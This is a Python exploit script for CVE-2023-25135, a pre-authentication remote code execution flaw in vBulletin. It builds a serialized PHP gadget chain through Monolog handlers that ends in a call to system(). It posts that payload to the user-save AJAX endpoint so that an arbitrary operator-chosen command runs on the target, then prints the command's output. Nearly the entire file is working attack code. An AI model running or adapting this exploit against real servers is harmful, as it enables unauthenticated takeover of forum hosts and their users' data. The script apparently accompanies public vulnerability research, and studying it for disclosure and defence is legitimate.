#!/usr/bin/env python3
# Exploit for CVE-2023-25135: vBulletin pre-authentication RCE
# cfreal
#
# ten: https://github.com/cfreal/ten
#

from ten import *

@entry
@arg("url", "Target URL")
@arg("command", "Command to execute")
@arg("proxy", "Proxy to use (optional)")
def main(url: str, command: str, proxy: str = None):
    """Exploit for CVE-2023-25135: vBulletin pre-authentication RCE.
    
    See: https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable
    """
    session = ScopedSession(url)
    
    if proxy:
        session.proxies = proxy
    
    marker = tf.random.string()
    command = f"echo {marker}::; {command}; echo ::{marker}"
    command = to_bytes(command)
    payload = (
        b'a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;O:32:"Monolog\\Handle'
        b'r\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\Buf'
        b'ferHandler":7:{s:10:"\x00*\x00handler";r:4;s:13:"\x00*\x00bufferSize";i:-1;s'
        b':9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:[LEN]:"[COMMAND]";s:5:"level";N;}}s:8:"\x00'
        b'*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i'
        b':-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}}'
    )
    payload = payload.replace(b"[LEN]", to_bytes(len(command)))
    payload = payload.replace(b"[COMMAND]", command)
    
    response = session.post(
        "/ajax/api/user/save",
        {
            "adminoptions": "",
            "options": "",
            "password": "password",
            "securitytoken": "guest",
            "user[email]": "pown@pown.net",
            "user[password]": "password",
            "user[searchprefs]": payload,
            "user[username]": "toto",
            "userfield": "",
            "userid": "0",
        },
    )
    if not response.code(200):
        failure(f"Exploit failed: unexpected response code ({response.status_code})")
        
    result = response.re.search(fr"{marker}::(.*)::{marker}", re.S)
    if not result:
        failure("Exploit potentially failed: command output not found")
        
    msg_success("Exploit succeeded!")
    
    msg_print("-" * 80)
    msg_print(result.group(1))
    msg_print("-" * 80)
    

main()
